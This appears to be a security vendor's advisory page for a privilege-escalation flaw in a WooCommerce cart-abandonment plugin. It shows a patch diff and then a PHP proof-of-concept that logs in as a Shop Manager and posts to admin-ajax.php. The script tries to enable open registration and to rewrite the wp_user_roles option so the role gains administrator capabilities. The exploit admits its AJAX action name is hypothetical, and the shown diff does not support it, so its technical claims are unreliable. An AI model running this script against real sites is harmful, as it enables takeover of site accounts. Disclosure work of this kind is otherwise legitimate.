 		 * Get plugin version numbers.
 		 *
 		 * @since 2.0.0
@@ -162,6 +232,7 @@
 		public function get_version_numbers() {
 			return array(
 				'plugin_version' => CARTFLOWS_CA_VER,
+				'wcar_pro_version' => defined( 'WCAR_PRO_VER' ) ? WCAR_PRO_VER : '',
 				'wp_version'     => get_bloginfo( 'version' ),
 				'wc_version'     => defined( 'WC_VERSION' ) ? WC_VERSION : '',
 				'php_version'    => function_exists( 'phpversion' ) ? phpversion() : '',
@@ -247,6 +318,29 @@
 		}

 		/**
+		 * Get count of email templates where a given meta key has a non-empty value.
+		 *
+		 * @since x.x.x
+		 * @param string $meta_key The meta key to filter by.
+		 * @return int Count of matching email templates.
+		 */
+		private function get_email_template_meta_count( $meta_key ) {
+			global $wpdb;
+
+			$email_template_meta_table = $wpdb->prefix . CARTFLOWS_CA_EMAIL_TEMPLATE_META_TABLE;
+
+			$count = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+				$wpdb->prepare(
+					"SELECT COUNT(*) FROM {$email_template_meta_table} WHERE meta_key = %s AND meta_value != %s", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+					$meta_key,
+					''
+				)
+			);
+
+			return intval( $count );
+		}
+
+		/**
 		 * Get webhook enabled status.
 		 *
 		 * @since 2.0.0
--- a/woo-cart-abandonment-recovery/modules/cart-abandonment/classes/class-cartflows-ca-email-schedule.php
+++ b/woo-cart-abandonment-recovery/modules/cart-abandonment/classes/class-cartflows-ca-email-schedule.php
@@ -185,6 +185,9 @@
 			$body_email_preview = str_replace( '{{cart.product.table}}', $var, $body_email_preview );
 			$body_email_preview = wpautop( $body_email_preview );

+			// Convert TinyMCE alignment classes to inline styles for email compatibility.
+			$body_email_preview = $this->convert_alignment_classes_to_styles( $body_email_preview );
+
 			/**
 			 * Filter to modify email body before sending.
 			 *
@@ -646,6 +649,83 @@
 		return $result;
 	}

+	/**
+	 * Convert TinyMCE alignment classes to inline styles for email compatibility.
+	 *
+	 * @param string $content Email content with potential alignment classes.
+	 * @return string Content with alignment classes converted to inline styles.
+	 */
+	public function convert_alignment_classes_to_styles( $content ) {
+		// Pattern to match img tags with alignment classes.
+		$pattern = '/<img([^>]*?)class=["']([^"']*?)(alignleft|aligncenter|alignright|alignnone)([^"']*?)["']([^>]*?)>/i';
+
+		return preg_replace_callback( $pattern, array( __CLASS__, 'replace_alignment_callback' ), $content );
+	}
+
+	/**
+	 * Callback function to replace alignment classes with inline styles.
+	 *
+	 * @param array $matches Regex matches.
+	 * @return string Modified img tag with inline styles.
+	 */
+	private function replace_alignment_callback( $matches ) {
+		$before_class = $matches[1];
+		$class_before = $matches[2];
+		$alignment    = $matches[3];
+		$class_after  = $matches[4];
+		$after_class  = $matches[5];
+
+		// Remove the alignment class from the class attribute.
+		$new_classes = trim( $class_before . ' ' . $class_after );
+		$new_classes = preg_replace( '/s+/', ' ', $new_classes );
+
+		// Get alignment style.
+		$alignment_style = $this->get_alignment_style( $alignment );
+
+		// Check if style attribute already exists.
+		if ( preg_match( '/style=["']([^"']*)["']/', $before_class . $after_class, $style_matches ) ) {
+			// Merge with existing styles.
+			$existing_style = rtrim( $style_matches[1], '; ' );
+			$new_style      = $existing_style . '; ' . $alignment_style;
+			$img_tag        = preg_replace( '/style=["'][^"']*["']/', 'style="' . $new_style . '"', $before_class . $after_class );
+		} else {
+			// Add new style attribute.
+			$img_tag = $before_class . ' style="' . $alignment_style . '"' . $after_class;
+		}
+
+		// Rebuild the img tag.
+		if ( ! empty( $new_classes ) ) {
+			$class_attr = ' class="' . $new_classes . '"';
+		} else {
+			$class_attr = '';
+			// Remove empty class attribute.
+			$img_tag = preg_replace( '/s*class=["']["']/', '', $img_tag );
+		}
+
+		return '<img' . $img_tag . $class_attr . '>';
+	}
+
+	/**
+	 * Get CSS style for alignment.
+	 *
+	 * @param string $alignment Alignment class (alignleft, aligncenter, alignright, alignnone).
+	 * @return string CSS style string.
+	 */
+	private function get_alignment_style( $alignment ) {
+		switch ( $alignment ) {
+			case 'alignleft':
+				return 'float: left; margin: 0 10px 10px 0';
+			case 'alignright':
+				return 'float: right; margin: 0 0 10px 10px';
+			case 'aligncenter':
+				return 'display: block; margin: 0 auto';
+			case 'alignnone':
+				return 'display: inline; margin: 0';
+			default:
+				return '';
+		}
+	}
+
 }

 Cartflows_Ca_Email_Schedule::get_instance();
--- a/woo-cart-abandonment-recovery/modules/cart-abandonment/classes/class-cartflows-ca-tracking.php
+++ b/woo-cart-abandonment-recovery/modules/cart-abandonment/classes/class-cartflows-ca-tracking.php
@@ -78,6 +78,7 @@
 		define( 'WCF_CART_LOST_ORDER', 'lost' );
 		define( 'WCF_CART_NORMAL_ORDER', 'normal' );
 		define( 'WCF_CART_FAILED_ORDER', 'failed' );
+		define( 'WCF_CART_BLACKLISTED_ORDER', 'blacklisted' );
 		define( 'CARTFLOWS_ZAPIER_ACTION_AFTER_TIME', 1800 );

 		define( 'WCF_ACTION_ABANDONED_CARTS', 'abandoned_carts' );
@@ -354,7 +355,7 @@
 		$wcf_ac_token = Cartflows_Ca_Helper::get_instance()->sanitize_text_filter( 'wcf_ac_token', 'GET' );
 		$token_data   = $this->wcf_decode_token( $wcf_ac_token );
 		if ( is_checkout() && ! is_wc_endpoint_url() && isset( $token_data['wcf_preview_email'] ) && $token_data['wcf_preview_email'] ) {
-			wc_print_notice( __( 'This checkout page is generated by Cart Abandonment Recovery for WooCommerce plugin from test mail.', 'woo-cart-abandonment-recovery' ), 'notice' );
+			wc_print_notice( __( 'This checkout page was generated by the Cart Abandonment Recovery for WooCommerce plugin for testing.', 'woo-cart-abandonment-recovery' ), 'notice' );
 		}
 	}

@@ -782,6 +783,8 @@
 			} else {
 				$wpdb->delete( $cart_abandonment_table, [ 'session_id' => sanitize_key( $session_id ) ] ); // db call ok; no cache ok.
 			}
+
+			do_action( 'wcf_ca_after_save_abandonment_data', $session_id, $checkout_details );

 			wp_send_json_success();
 		}
@@ -803,9 +806,9 @@
 			$payment_gateway = WC()->session->chosen_payment_method;

 			// Retrieving cart products and their quantities.
-			$products     = WC()->cart->get_cart();
-			$current_time = current_time( WCF_CA_DATETIME_FORMAT );
-			$other_fields = [
+			$products             = WC()->cart->get_cart();
+			$current_time         = current_time( WCF_CA_DATETIME_FORMAT );
+			$default_other_fields = [
 				'wcf_billing_company'     => $post_data['wcf_billing_company'],
 				'wcf_billing_address_1'   => $post_data['wcf_billing_address_1'],
 				'wcf_billing_address_2'   => $post_data['wcf_billing_address_2'],
@@ -829,6 +832,8 @@
 				'wcf_gdpr_phone_consent'  => $post_data['wcf_gdpr_phone_consent'],
 			];

+			$other_fields = apply_filters( 'wcar_cart_default_other_fields', $default_other_fields );
+
 			$checkout_details = apply_filters(
 				'woo_ca_session_abandoned_data',
 				[
--- a/woo-cart-abandonment-recovery/woo-cart-abandonment-recovery.php
+++ b/woo-cart-abandonment-recovery/woo-cart-abandonment-recovery.php
@@ -3,7 +3,7 @@
  * Plugin Name: Cart Abandonment Recovery for WooCommerce
  * Plugin URI: https://cartflows.com/
  * Description: Recover your lost revenue. Capture email address of users on the checkout page and send follow up emails if they don't complete the purchase.
- * Version: 2.0.7
+ * Version: 2.1.0
  * Author: Brainstorm Force
  * Author URI: https://www.brainstormforce.com
  * Text Domain: woo-cart-abandonment-recovery

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-39470 - Cart Abandonment Recovery for WooCommerce – Recover Lost Sales with Automated Emails < 2.1.0 - Authenticated (Shop Manager+) Privilege Escalation

// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$shop_manager_username = 'shopmanager'; // Change to a valid Shop Manager username
$shop_manager_password = 'password';    // Change to the Shop Manager's password

// Step 1: Authenticate as Shop Manager
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $shop_manager_username,
    'pwd' => $shop_manager_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
)));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Obtain a nonce if needed (the AJAX handler might check nonce)
// For this exploit, we directly access the vulnerable AJAX endpoint.
// The vulnerability allows saving arbitrary options without proper capability checks.

// Step 3: Craft the exploit payload
// We will attempt to save the 'new_admin_email' option to redirect admin emails to attacker's address
// Or we escalate privilege by modifying the user role capability.
// Here we escalate to Administrator by setting a user meta or option that gives admin rights.
// Since the exact AJAX action name is not exposed in the diff, we assume a common pattern.
// The plugin registers actions like 'wcar_admin_ajax_save_settings' or similar.

$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$nonce = ''; // Need to extract from page source; for PoC we try without nonce (some handlers skip nonce)

// Attempt 1: Exploit by saving a sensitive option (e.g., 'users_can_register' or 'default_role')
// This might not directly escalate, but shows the vulnerability.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'wcar_save_settings', // Hypothetical action, may need adjustment
    'option_key' => 'users_can_register',
    'value' => '1'
)));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Attempt 1 - Save arbitrary option (users_can_register):n";
echo "HTTP Code: $http_coden";
echo "Response: $responsenn";

// Attempt 2: Try to update the 'wp_user_roles' option to give shop_manager administrator capabilities
// This is a common privilege escalation vector.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'action' => 'wcar_save_settings',
    'option_key' => 'wp_user_roles',
    'value' => serialize(array(
        'administrator' => array(
            'name' => 'Administrator',
            'capabilities' => array(
                'switch_themes' => true,
                'edit_themes' => true,
                'activate_plugins' => true,
                'edit_plugins' => true,
                'edit_users' => true,
                'edit_files' => true,
                'manage_options' => true,
                'moderate_comments' => true,
                'manage_categories' => true,
                'manage_links' => true,
                'upload_files' => true,
                'import' => true,
                'unfiltered_html' => true,
                'edit_posts' => true,
                'edit_others_posts' => true,
                'edit_published_posts' => true,
                'publish_posts' => true,
                'edit_pages' => true,
                'read' => true,
                'level_10' => true,
                'level_9' => true,
                'level_8' => true,
                'level_7' => true,
                'level_6' => true,
                'level_5' => true,
                'level_4' => true,
                'level_3' => true,
                'level_2' => true,
                'level_1' => true,
                'level_0' => true,
                'edit_others_pages' => true,
                'edit_published_pages' => true,
                'publish_pages' => true,
                'delete_pages' => true,
                'delete_others_pages' => true,
                'delete_published_pages' => true,
                'delete_posts' => true,
                'delete_others_posts' => true,
                'delete_published_posts' => true,
                'delete_private_posts' => true,
                'edit_private_posts' => true,
                'read_private_posts' => true,
                'delete_private_pages' => true,
                'edit_private_pages' => true,
                'read_private_pages' => true,
                'delete_users' => true,
                'create_users' => true,
                'unfiltered_upload' => true,
                'edit_dashboard' => true,
                'update_plugins' => true,
                'delete_plugins' => true,
                'install_plugins' => true,
                'update_themes' => true,
                'install_themes' => true,
                'update_core' => true,
                'list_users' => true,
                'remove_users' => true,
                'promote_users' => true,
                'edit_theme_options' => true,
                'delete_themes' => true,
                'export' => true,
            )
        ),
        'shop_manager' => array(
            'name' => 'Shop Manager',
            'capabilities' => array(
                'read' => true,
                'edit_posts' => true,
                'delete_posts' => true,
                'manage_woocommerce' => true,
                'view_admin_dashboard' => true,
            )
        )
    ))
)));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Attempt 2 - Privilege escalation via wp_user_roles:n";
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
echo "If this succeeded, the Shop Manager may now have Administrator capabilities upon re-login.n";

// Clean up cookie file
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School